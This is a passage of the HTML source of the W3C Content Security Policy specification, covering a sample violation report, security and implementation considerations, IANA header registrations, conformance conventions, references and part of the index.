policy:</p>\n\n<pre><a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'; <a data-link-type=dfn href=#report-uri title=report-uri>report-uri</a> http://example.org/csp-report.cgi</pre>\n\n<p>The protected resource loaded an image from\n    <code>http://evil.example.com/image.png</code>, violating the\n    policy.</p>\n\n    <pre>{\n  \"csp-report\": {\n    \"document-uri\": \"http://example.org/page.html\",\n    \"referrer\": \"http://evil.example.com/haxor.html\",\n    \"blocked-uri\": \"http://evil.example.com/image.png\",\n    \"violated-directive\": \"default-src 'self'\",\n    \"effective-directive\": \"img-src\",\n    \"original-policy\": \"default-src 'self'; report-uri http://example.org/csp-report.cgi\"\n  }\n}\n</pre>\n  </section>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled\" data-level=9 id=security-considerations><span class=secno>9 </span><span class=content>Security Considerations</span><a class=self-link href=#security-considerations></a></h2>\n  <section>\n    <h3 class=\"heading settled\" data-level=9.1 id=security-css-parsing><span class=secno>9.1 </span><span class=content>Cascading Style Sheet (CSS) Parsing</span><a class=self-link href=#security-css-parsing></a></h3>\n\n<p>The <code><a data-link-type=dfn href=#style-src title=style-src>style-src</a></code> directive restricts the locations from\n    which the protected resource can load styles. However, if the user agent uses a\n    lax CSS parsing algorithm, an attacker might be able to trick the user\n    agent into accepting malicious \"stylesheets\" hosted by an otherwise\n    trustworthy origin.</p>\n\n<p>These attacks are similar to the <a href=http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html>CSS\n    cross-origin data leakage</a> attack described by Chris Evans in 2009.\n    User agents SHOULD defend against both attacks using the same\n    mechanism: stricter CSS parsing rules for style sheets with improper\n    MIME types.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=9.2 id=security-violation-reports><span class=secno>9.2 </span><span class=content>Violation Reports</span><a class=self-link href=#security-violation-reports></a></h3>\n\n<p>The violation reporting mechanism in this document has been\n    designed to mitigate the risk that a malicious web site could use\n    violation reports to probe the behavior of other servers. For example,\n    consider a malicious web site that white lists <code>https://example.com</code>\n    as a source of images. If the malicious site attempts to load\n    <code>https://example.com/login</code> as an image, and the\n    <code>example.com</code> server redirects to an identity provider (e.g.,\n    <code>idenityprovider.example.net</code>), CSP will block the request.\n    If violation reports contained the full blocked URI, the violation\n    report might contain sensitive information contained in the redirected URI,\n    such as session identifiers or purported identities. For this reason, the\n    user agent includes only the origin of the blocked URI.</p>\n  </section>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled\" data-level=10 id=implementation-considerations><span class=secno>10 </span><span class=content>Implementation Considerations</span><a class=self-link href=#implementation-considerations></a></h2>\n\n<p>The <code><a data-link-type=dfn href=#content-security-policy title=Content-Security-Policy>Content-Security-Policy</a></code> header is an end-to-end\n  header. It is processed and enforced at the client and, therefore,\n  SHOULD NOT be modified or removed by proxies or other intermediaries not\n  in the same administrative domain as the resource.</p>\n\n<p>The originating administrative domain for a resource might wish to\n  apply a <code><a data-link-type=dfn href=#content-security-policy title=Content-Security-Policy>Content-Security-Policy</a></code> header outside of the\n  immediate context of an application. For example, a large organization\n  might have many resources and applications managed by different\n  individuals or teams but all subject to a uniform organizational\n  standard. In such situations, a <code><a data-link-type=dfn href=#content-security-policy title=Content-Security-Policy>Content-Security-Policy</a></code>\n  header might be added or combined with an existing one at a network-edge\n  security gateway device or web application firewall. To enforce multiple\n  policies, the administrator SHOULD combine the policy into a single header.\n  An administrator might wish to use different combination algorithms\n  depending on his or her intended semantics.</p>\n\n<p>One sensible policy combination algorithm is to start by allowing a\n  default set of sources and then letting individual upstream resource\n  owners expand the set of allowed sources by including additional origins.\n  In this approach, the resultant policy is the union of all allowed\n  origins in the input policies.</p>\n\n<p>Another sensible policy combination algorithm is to intersect the\n  given policies. This approach enforces that content comes from a certain\n  whitelist of origins, for example, preventing developers from including\n  third-party scripts or content in violation of organizational standards\n  and practices. In this approach, the combination algorithm forms the\n  combined policy by removing disallowed hosts from the policies supplied\n  by upstream resource owners.</p>\n\n<p>Interactions between the <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> and other directives\n  SHOULD be given special consideration when combining policies. If none\n  of the policies contains a <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive, adding new\n  src directives results in a more restrictive policy. However, if one or\n  more of the input policies contain a <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive,\n  adding new src directives might result in a less restrictive policy, for\n  example, if the more specific directive contains a more permissive set of\n  allowed origins.</p>\n\n<p>Using a more restrictive policy than the input policy authored by the\n  resource owner might prevent the resource from rendering or operating as\n  intended.</p>\n\n<p>Note also that migration to <code>HTTPS</code> from <code>HTTP</code>\n  may require updates to the policy in order to keep things running as\n  before. Source expressions like <code>http://example.com</code> do\n  <em>not</em> match <code>HTTPS</code> resources. For example,\n  administrators SHOULD carefully examine existing policies before rolling\n  out <a href=http://tools.ietf.org/html/rfc6797>HTTP Strict Transport Security</a>\n  headers for an application. <a data-biblio-type=informative data-link-type=biblio href=#biblio-rfc6797 title=biblio-RFC6797>[RFC6797]</a></p>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled\" data-level=11 id=iana-considerations><span class=secno>11 </span><span class=content>IANA Considerations</span><a class=self-link href=#iana-considerations></a></h2>\n\n<p>The permanent message header field registry should be updated\n  with the following registrations: <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc3864 title=biblio-RFC3864>[RFC3864]</a></p>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=11.1 id=iana-content-security-policy><span class=secno>11.1 </span><span class=content>Content-Security-Policy</span><a class=self-link href=#iana-content-security-policy></a></h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>Content-Security-Policy</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See <code><a data-link-type=dfn href=#content-security-policy title=Content-Security-Policy>Content-Security-Policy</a></code>\n      Header Field)</dd>\n    </dl>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=11.2 id=iana-content-security-policy-report-only><span class=secno>11.2 </span><span class=content>Content-Security-Policy-Report-Only</span><a class=self-link href=#iana-content-security-policy-report-only></a></h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>Content-Security-Policy-Report-Only</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See\n      <code><a data-link-type=dfn href=#content-security-policy-report-only title=Content-Security-Policy-Report-Only>Content-Security-Policy-Report-Only</a></code> Header Field)</dd>\n    </dl>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=11.3 id=iana-csp><span class=secno>11.3 </span><span class=content>CSP</span><a class=self-link href=#iana-csp></a></h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>CSP</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See <a data-section=\"\" href=#csp-request-header>§3.4 The <code>CSP</code> HTTP Request Header</a>)</dd>\n    </dl>\n  </section>\n</section>\n\n<section>\n  <h2 class=\"heading settled\" data-level=12 id=acknowledgements><span class=secno>12 </span><span class=content>Acknowledgements</span><a class=self-link href=#acknowledgements></a></h2>\n\n<p>In addition to the documents in the W3C Web Application Security working\n  group, the work on this document is also informed by the work of the\n  <a href=http://tools.ietf.org/wg/websec/>IETF websec working group</a>,\n  particularly that working group’s requirements document:\n  <a href=http://tools.ietf.org/id/draft-hodges-websec-framework-reqs>draft-hodges-websec-framework-reqs</a>.</p>\n\n<p>A portion of the <code><a data-link-type=dfn href=#frame-ancestors title=frame-ancestors>frame-ancestors</a></code> directive was\n  originally developed as <code>X-Frame-Options</code>. [RFC7034]</p>\n</section>\n\n<h2 class=\"no-ref no-num heading settled\" id=conformance><span class=content>Conformance</span><a class=self-link href=#conformance></a></h2>\n\n<h3 class=\"no-ref no-num heading settled\" id=conventions><span class=content>Document conventions</span><a class=self-link href=#conventions></a></h3>\n\n    <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words \"MUST\",\n    \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\",\n    \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification.\n\n    <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc2119 title=biblio-RFC2119>[RFC2119]</a></p>\n\n    <p>Examples in this specification are introduced with the words \"for example\"\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this:\n\n    <div class=example>\n        <p>This is an example of an informative example.</p>\n    </div>\n\n    <p>Informative notes begin with the word \"Note\" and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this:\n\n    <p class=note>Note, this is an informative note.</p>\n\n<h3 class=\"no-ref no-num heading settled\" id=conformant-algorithms><span class=content>Conformant Algorithms</span><a class=self-link href=#conformant-algorithms></a></h3>\n\n    <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n\n    <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n\n<h3 class=\"no-ref no-num heading settled\" id=conformance-classes><span class=content>Conformance Classes</span><a class=self-link href=#conformance-classes></a></h3>\n\n    <p>A <dfn data-dfn-type=dfn data-noexport=\"\" id=conformant-user-agent>conformant user agent<a class=self-link href=#conformant-user-agent></a></dfn> must implement all the requirements\n    listed in this specification that are applicable to user agents.</p>\n\n    <p>A <dfn data-dfn-type=dfn data-noexport=\"\" id=conformant-server>conformant server<a class=self-link href=#conformant-server></a></dfn> must implement all the requirements listed\n    in this specification that are applicable to servers.</p>\n\n\n<h2 class=\"no-num no-ref heading settled\" id=references><span class=content>\nReferences</span><a class=self-link href=#references></a></h2>\n\n<h3 class=\"no-num no-ref heading settled\" id=normative><span class=content>\nNormative References</span><a class=self-link href=#normative></a></h3>\n<div data-fill-with=normative-references><dl>\n<dt id=biblio-abnf title=ABNF><a class=self-link href=#biblio-abnf></a>[ABNF]<dd>Dave Crocker; Paul Overell. <a href=http://www.ietf.org/rfc/rfc5234.txt>Augmented BNF for Syntax Specifications: ABNF</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc5234.txt>http://www.ietf.org/rfc/rfc5234.txt</a></dd>\n<dt id=biblio-beacon title=BEACON><a class=self-link href=#biblio-beacon></a>[BEACON]<dd>Jatinder Mann; Alois Reitbauer. <a href=http://www.w3.org/TR/beacon/>Beacon</a>. WD. URL: <a href=http://www.w3.org/TR/beacon/>http://www.w3.org/TR/beacon/</a></dd>\n<dt id=biblio-css3-fonts title=CSS3-FONTS><a class=self-link href=#biblio-css3-fonts></a>[CSS3-FONTS]<dd>John Daggett. <a href=http://www.w3.org/TR/2013/WD-css3-fonts-20130212/>CSS Fonts Module Level 3</a>. 12 February 2013. W3C Working Draft. (Work in progress.) URL: <a href=http://www.w3.org/TR/2013/WD-css3-fonts-20130212/>http://www.w3.org/TR/2013/WD-css3-fonts-20130212/</a></dd>\n<dt id=biblio-css4-images title=CSS4-IMAGES><a class=self-link href=#biblio-css4-images></a>[CSS4-IMAGES]<dd>Elika J. Etemad; Tab Atkins Jr.. <a href=http://www.w3.org/TR/2012/WD-css4-images-20120911/>CSS Image Values and Replaced Content Module Level 4</a>. 11 September 2012. W3C Working Draft. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/WD-css4-images-20120911/>http://www.w3.org/TR/2012/WD-css4-images-20120911/</a></dd>\n<dt id=biblio-cssom title=CSSOM><a class=self-link href=#biblio-cssom></a>[CSSOM]<dd>Anne van Kesteren. <a href=http://www.w3.org/TR/2011/WD-cssom-20110712/>CSSOM</a>. 12 July 2011. W3C Working Draft. (Work in progress.) URL: <a href=http://www.w3.org/TR/2011/WD-cssom-20110712/>http://www.w3.org/TR/2011/WD-cssom-20110712/</a></dd>\n<dt id=biblio-ecma-262 title=ECMA-262><a class=self-link href=#biblio-ecma-262></a>[ECMA-262]<dd>???. <a href=http://www.ecma-international.org/publications/standards/Ecma-262.htm>ECMAScript Language Specification, Third Edition</a>. December 1999. URL: <a href=http://www.ecma-international.org/publications/standards/Ecma-262.htm>http://www.ecma-international.org/publications/standards/Ecma-262.htm</a></dd>\n<dt id=biblio-eventsource title=EVENTSOURCE><a class=self-link href=#biblio-eventsource></a>[EVENTSOURCE]<dd>Ian Hickson. <a href=http://www.w3.org/TR/2012/CR-eventsource-20121211/>Server-Sent Events</a>. 11 December 2012. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/CR-eventsource-20121211/>http://www.w3.org/TR/2012/CR-eventsource-20121211/</a></dd>\n<dt id=biblio-html-imports title=HTML-IMPORTS><a class=self-link href=#biblio-html-imports></a>[HTML-IMPORTS]<dd>Dmitri Glazkov; Hajime Morrita. <a href=http://www.w3.org/TR/html-imports/>HTML Imports</a>. WD. URL: <a href=http://www.w3.org/TR/html-imports/>http://www.w3.org/TR/html-imports/</a></dd>\n<dt id=biblio-html5 title=HTML5><a class=self-link href=#biblio-html5></a>[HTML5]<dd>Robin Berjon; et al. <a href=http://www.w3.org/TR/2014/WD-html5-20140617/>HTML5</a>. 17 June 2014. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2014/WD-html5-20140617/>http://www.w3.org/TR/2014/WD-html5-20140617/</a></dd>\n<dt id=biblio-referrer title=REFERRER><a class=self-link href=#biblio-referrer></a>[REFERRER]<dd>Jochen Eisinger; Mike West. <a href=https://w3c.github.io/webappsec/specs/referrer-policy/>Referrer Policy</a>. FPWD. URL: <a href=https://w3c.github.io/webappsec/specs/referrer-policy/>https://w3c.github.io/webappsec/specs/referrer-policy/</a></dd>\n<dt id=biblio-rfc2119 title=RFC2119><a class=self-link href=#biblio-rfc2119></a>[RFC2119]<dd>S. Bradner. <a href=http://www.ietf.org/rfc/rfc2119.txt>Key words for use in RFCs to Indicate Requirement Levels</a>. URL: <a href=http://www.ietf.org/rfc/rfc2119.txt>http://www.ietf.org/rfc/rfc2119.txt</a></dd>\n<dt id=biblio-rfc3492 title=RFC3492><a class=self-link href=#biblio-rfc3492></a>[RFC3492]<dd>Adam M. Costello. <a href=http://www.ietf.org/rfc/rfc3492.txt>Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)</a>. REC. URL: <a href=http://www.ietf.org/rfc/rfc3492.txt>http://www.ietf.org/rfc/rfc3492.txt</a></dd>\n<dt id=biblio-rfc3864 title=RFC3864><a class=self-link href=#biblio-rfc3864></a>[RFC3864]<dd>Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. <a href=http://www.ietf.org/rfc/rfc3864.txt>Registration Procedures for Message Header Fields</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc3864.txt>http://www.ietf.org/rfc/rfc3864.txt</a></dd>\n<dt id=biblio-rfc4627 title=RFC4627><a class=self-link href=#biblio-rfc4627></a>[RFC4627]<dd>Douglas Crockford. <a href=http://www.ietf.org/rfc/rfc4627.txt>The 'application/json' Media Type for JavaScript Object Notation (JSON)</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc4627.txt>http://www.ietf.org/rfc/rfc4627.txt</a></dd>\n<dt id=biblio-rfc6454 title=RFC6454><a class=self-link href=#biblio-rfc6454></a>[RFC6454]<dd>Adam Barth. <a href=http://www.ietf.org/rfc/rfc6454.txt>The Web Origin Concept</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc6454.txt>http://www.ietf.org/rfc/rfc6454.txt</a></dd>\n<dt id=biblio-rfc7034 title=RFC7034><a class=self-link href=#biblio-rfc7034></a>[RFC7034]<dd>David Ross; Tobias Gondrom. <a href=http://www.ietf.org/rfc/rfc7034.txt>HTTP Header Field X-Frame-Options</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc7034.txt>http://www.ietf.org/rfc/rfc7034.txt</a></dd>\n<dt id=biblio-rfc7230 title=RFC7230><a class=self-link href=#biblio-rfc7230></a>[RFC7230]<dd>Roy T. Fielding; Julian F. Reschke. <a href=http://www.ietf.org/rfc/rfc7230.txt>HTTP/1.1 Message Syntax and Routing</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc7230.txt>http://www.ietf.org/rfc/rfc7230.txt</a></dd>\n<dt id=biblio-rfc7231 title=RFC7231><a class=self-link href=#biblio-rfc7231></a>[RFC7231]<dd>Roy T. Fielding; Julian F. Reschke. <a href=http://www.ietf.org/rfc/rfc7231.txt>HTTP/1.1 Semantics and Content</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc7231.txt>http://www.ietf.org/rfc/rfc7231.txt</a></dd>\n<dt id=biblio-uri title=URI><a class=self-link href=#biblio-uri></a>[URI]<dd>T. Berners-Lee; R. Fielding; L. Masinter. <a href=http://www.ietf.org/rfc/rfc3986.txt>Uniform Resource Identifiers (URI): generic syntax</a>. January 2005. URL: <a href=http://www.ietf.org/rfc/rfc3986.txt>http://www.ietf.org/rfc/rfc3986.txt</a></dd>\n<dt id=biblio-webidl title=WEBIDL><a class=self-link href=#biblio-webidl></a>[WEBIDL]<dd>Cameron McCormack. <a href=http://www.w3.org/TR/2012/CR-WebIDL-20120419/>Web IDL</a>. 19 April 2012. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/CR-WebIDL-20120419/>http://www.w3.org/TR/2012/CR-WebIDL-20120419/</a></dd>\n<dt id=biblio-websockets title=WEBSOCKETS><a class=self-link href=#biblio-websockets></a>[WEBSOCKETS]<dd>Ian Hickson. <a href=http://www.w3.org/TR/2012/CR-websockets-20120920/>The WebSocket API</a>. 20 September 2012. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/CR-websockets-20120920/>http://www.w3.org/TR/2012/CR-websockets-20120920/</a></dd>\n<dt id=biblio-workers title=WORKERS><a class=self-link href=#biblio-workers></a>[WORKERS]<dd>Ian Hickson. <a href=http://www.w3.org/TR/2012/CR-workers-20120501/>Web Workers</a>. 1 May 2012. W3C Candidate Recommendation. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/CR-workers-20120501/>http://www.w3.org/TR/2012/CR-workers-20120501/</a></dd>\n<dt id=biblio-xml11 title=XML11><a class=self-link href=#biblio-xml11></a>[XML11]<dd>Eve Maler; et al. <a href=http://www.w3.org/TR/2006/REC-xml11-20060816>Extensible Markup Language (XML) 1.1 (Second Edition)</a>. 16 August 2006. W3C Recommendation. URL: <a href=http://www.w3.org/TR/2006/REC-xml11-20060816>http://www.w3.org/TR/2006/REC-xml11-20060816</a></dd>\n<dt id=biblio-xmlhttprequest title=XMLHTTPREQUEST><a class=self-link href=#biblio-xmlhttprequest></a>[XMLHTTPREQUEST]<dd>Julian Aubourg; 송정기 (Jungkee Song); Hallvord R. M. Steen. <a href=http://www.w3.org/TR/2012/WD-XMLHttpRequest-20121206/>XMLHttpRequest</a>. 6 December 2012. W3C Working Draft. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/WD-XMLHttpRequest-20121206/>http://www.w3.org/TR/2012/WD-XMLHttpRequest-20121206/</a></dd>\n<dt id=biblio-xslt title=XSLT><a class=self-link href=#biblio-xslt></a>[XSLT]<dd>James Clark. <a href=http://www.w3.org/TR/1999/REC-xslt-19991116>XSL Transformations (XSLT) Version 1.0</a>. 16 November 1999. W3C Recommendation. URL: <a href=http://www.w3.org/TR/1999/REC-xslt-19991116>http://www.w3.org/TR/1999/REC-xslt-19991116</a></dd>\n</dl></div>\n\n<h3 class=\"no-num no-ref heading settled\" id=informative><span class=content>\nInformative References</span><a class=self-link href=#informative></a></h3>\n<div data-fill-with=informative-references><dl>\n<dt id=biblio-rfc6797 title=RFC6797><a class=self-link href=#biblio-rfc6797></a>[RFC6797]<dd>Jeff Hodges; Collin Jackson; Adam Barth. <a href=http://www.ietf.org/rfc/rfc6797.txt>HTTP Strict Transport Security (HSTS)</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc6797.txt>http://www.ietf.org/rfc/rfc6797.txt</a></dd>\n<dt id=biblio-uiredress title=UIREDRESS><a class=self-link href=#biblio-uiredress></a>[UIREDRESS]<dd>Giorgio Maone; et al. <a href=http://www.w3.org/TR/UISecurity/>User Interface Security Directives for Content Security Policy</a>. WD. URL: <a href=http://www.w3.org/TR/UISecurity/>http://www.w3.org/TR/UISecurity/</a></dd>\n</dl></div>\n\n<h2 class=\"no-num no-ref heading settled\" id=index><span class=content>\nIndex</span><a class=self-link href=#index></a></h2>\n<div data-fill-with=index><ul class=indexlist>\n<li>allowed base URIs, <a href=#allowed-base-uris title=\"section 7.1\">7.1</a>\n<li>allowed child sources, <a href=#allowed-child-sources title=\"section 7.2\">7.2</a>\n<li>allowed connection targets, <a href=#allowed-connection-targets title=\"section 7.3\">7.3</a>\n<li>allowed font sources, <a href=#allowed-font-sources title=\"section 7.5\">7.5</a>\n<li>allowed form actions, <a href=#allowed-form-actions title=\"section 7.6\">7.6</a>\n<li>allowed frame ancestors, <a href=#allowed-frame-ancestors title=\"section 7.7\">7.7</a>\n<li>allowed frame sources, <a href=#allowed-frame-sources title=\"section 7.8\">7.8</a>\n<li>allowed image sources, <a href=#allowed-image-sources title=\"section 7.9\">7.9</a>\n<li>allowed media sources, <a href=#allowed-media-sources title=\"section 7.10\">7.10</a>\n<li>allowed object sources, <a href=#allowed-object-sources title=\"section 7.11\">7.11</a>\n<li>allowed plugin media types, <a href=#allowed-plugin-media-types title=\"section 7.12\">7.12</a>\n<li>allowed script sources, <a href=#allowed-script-sources title=\"section 7.17\">7.17</a>\n<li>allowed style sources, <a href=#allowed-style-sources title=\"section 7.18\">7.18</a>\n<li>ancestor-source, <a href=#ancestor-source title=\"section 7.7\">7.7</a>\n<li>ancestor-source-list, <a href=#ancestor-source-list title=\"section 7.7\">7.7</a>\n<li>base64-value, <a href=#base64-value title=\"section 4.2\">4.2</a>\n<li>base-uri, <a href=#base-uri title=\"section 7.1\">7.1</a>\n<li>blockedURI<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-blockeduri title=\"section 6.1\">6.1</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-blockeduri title=\"section 6.2\">6.2</a>\n</ul><li>callable, <a href=#callable title=\"section 2\">2</a>\n<li>callers, <a href=#callers title=\"section 2\">2</a>\n<li>child-src, <a href=#child-src title=\"section 7.2\">7.2</a>\n<li>columnNumber<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-columnnumber title=\"section 6.1\">6.1</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-columnnumber title=\"section 6.2\">6.2</a>\n</ul><li>conformant server, <a href=#conformant-server title=\"section Unnumbered section\">Unnumbered section</a>\n<li>conformant user agent, <a href=#conformant-user-agent title=\"section Unnumbered section\">Unnumbered section</a>\n<li>connect-src, <a href=#connect-src title=\"section 7.3\">7.3</a>\n<li>Content-Security-Policy, <a href=#content-security-policy title=\"section 3.1\">3.1</a>\n<li>Content-Security-Policy-Report-Only, <a href=#content-security-policy-report-only title=\"section 3.2\">3.2</a>\n<li>Content Security Policy task\n          source, <a href=#content-security-policy-task-source title=\"section 4.4\">4.4</a>\n<li>CSP, <a href=#csp title=\"section 3.4\">3.4</a>\n<li>csp-header-value, <a href=#csp-header-value title=\"section 3.4\">3.4</a>\n<li>default sources, <a href=#default-sources title=\"section 7.4\">7.4</a>\n<li>default-src, <a href=#default-src title=\"section 7.4\">7.4</a>\n<li>digest of element’s content, <a href=#digest-of-elements-content title=\"section 4.2.5\">4.2.5</a>\n<li>directive, <a href=#security-policy-directive title=\"section 2\">2</a>\n<li>directive name, <a href=#directive-name0 title=\"section 2\">2</a>\n<li>directive-name, <a href=#directive-name title=\"section 4.1\">4.1</a>\n<li>directive-token, <a href=#directive-token title=\"section 4.1\">4.1</a>\n<li>directive-value, <a href=#directive-value title=\"section 4.1\">4.1</a>\n<li>directive value, <a href=#directive-value0 title=\"section 2\">2</a>\n<li>documentURI<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-documenturi title=\"section 6.1\">6.1</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-documenturi title=\"section 6.2\">6.2</a>\n</ul><li>effectiveDirective<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-effectivedirective title=\"section 6.1\">6.1</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-effectivedirective title=\"section 6.2\">6.2</a>\n</ul><li>element’s content, <a href=#elements-content title=\"section 4.2.5\">4.2.5</a>\n<li>enforce, <a href=#enforce title=\"section 5\">5</a>\n<li>eventInitDict, <a href=#dom-securitypolicyviolationevent-securitypolicyviolationevent-eventinitdict title=\"section 6.1\">6.1</a>\n<li>fire a violation event, <a href=#fire-a-violation-event title=\"section 6.3\">6.3</a>\n<li>font-src, <a href=#font-src title=\"section 7.5\">7.5</a>\n<li>form-action, <a href=#form-action title=\"section 7.6\">7.6</a>\n<li>frame-ancestors, <a href=#frame-ancestors title=\"section 7.7\">7.7</a>\n<li>frame-src, <a href=#frame-src title=\"section 7.8\">7.8</a>\n<li>generate a violation report object, <a href=#generate-a-violation-report-object title=\"section 4.4\">4.4</a>\n<li>generating a violation report object, <a href=#generate-a-violation-report-object title=\"section 4.4\">4.4</a>\n<li>globally unique identifier, <a href=#globally-unique-identifier title=\"section 2\">2</a>\n<li>hash-algo, <a href=#hash-algo title=\"section 4.2\">4.2</a>\n<li>hash-source, <a href=#hash-source title=\"section 4.2\">4.2</a>\n<li>hash-value, <a href=#hash-value title=\"section 4.2\">4.2</a>\n<li>host-char, <a href=#host-char title=\"section 4.2\">4.2</a>\n<li>host-part, <a href=#host-part title=\"section 4.2\">4.2</a>\n<li>host-source, <a href=#host-source title=\"section 4.2\">4.2</a>\n<li>HTTP 200 response, <a href=#http-200-response title=\"section 2\">2</a>\n<li>img-src, <a href=#img-src title=\"section 7.9\">7.9</a>\n<li>JSON object, <a href=#json-object title=\"section 2\">2</a>\n<li>JSON stringification, <a href=#json-stringification title=\"section 2\">2</a>\n<li>keyword-source, <a href=#keyword-source title=\"section 4.2\">4.2</a>\n<li>lineNumber<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-linenumber title=\"section 6.1\">6.1</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-linenumber title=\"section 6.2\">6.2</a>\n</ul><li>match a media type list, <a href=#match-a-media-type-list title=\"section 4.3.2\">4.3.2</a>\n<li>match a source expression, <a href=#match-a-source-expression title=\"section 4.2.2\">4.2.2</a>\n<li>match a source list, <a href=#match-a-source-list title=\"section 4.2.2\">4.2.2</a>\n<li>media-src, <a href=#media-src title=\"section 7.10\">7.10</a>\n<li>media type, <a href=#media-type0 title=\"section 4.3\">4.3</a>\n<li>media-type, <a href=#media-type title=\"section 4.3\">4.3</a>\n<li>media type list, <a href=#media-type-list0 title=\"section 4.3\">4.3</a>\n<li>media-type-list, <a href=#media-type-list1 title=\"section 4.3\">4.3</a>\n<li>monitor, <a href=#monitor title=\"section 5\">5</a>\n<li>nonce<ul><li>(element-attr), <a href=#element-attrdef-nonce title=\"section 4.2.3\">4.2.3</a>\n<li>attribute for HTMLScriptElement, <a href=#dom-htmlscriptelement-nonce title=\"section 4.2.3\">4.2.3</a>\n<li>attribute for HTMLStyleElement, <a href=#dom-htmlstyleelement-nonce title=\"section 4.2.3\">4.2.3</a>\n</ul><li>nonce-source, <a href=#nonce-source title=\"section 4.2\">4.2</a>\n<li>nonce-value, <a href=#nonce-value title=\"section 4.2\">4.2</a>\n<li>object-src, <a href=#object-src title=\"section 7.11\">7.11</a>\n<li>origin, <a href=#origin title=\"section 2\">2</a>\n<li>originalPolicy<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-originalpolicy title=\"section 6.1\">6.1</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-originalpolicy title=\"section 6.2\">6.2</a>\n</ul><li>parse a media type list, <a href=#parse-a-media-type-list title=\"section 4.3.1\">4.3.1</a>\n<li>parse a source list, <a href=#parse-a-source-list title=\"section 4.2.1\">4.2.1</a>\n<li>parse the policy, <a href=#parse-the-policy title=\"section 4.1.1\">4.1.1</a>\n<li>path-part, <a href=#path-part title=\"section 4.2\">4.2</a>\n<li>plugin-types, <a href=#plugin-types title=\"section 7.12\">7.12</a>\n<li>policy, <a href=#security-policy title=\"section 2\">2</a>\n<li>policy-token, <a href=#policy-token title=\"section 4.1\">4.1</a>\n<li>port-part, <a href=#port-part title=\"section 4.2\">4.2</a>\n<li>protected resource, <a 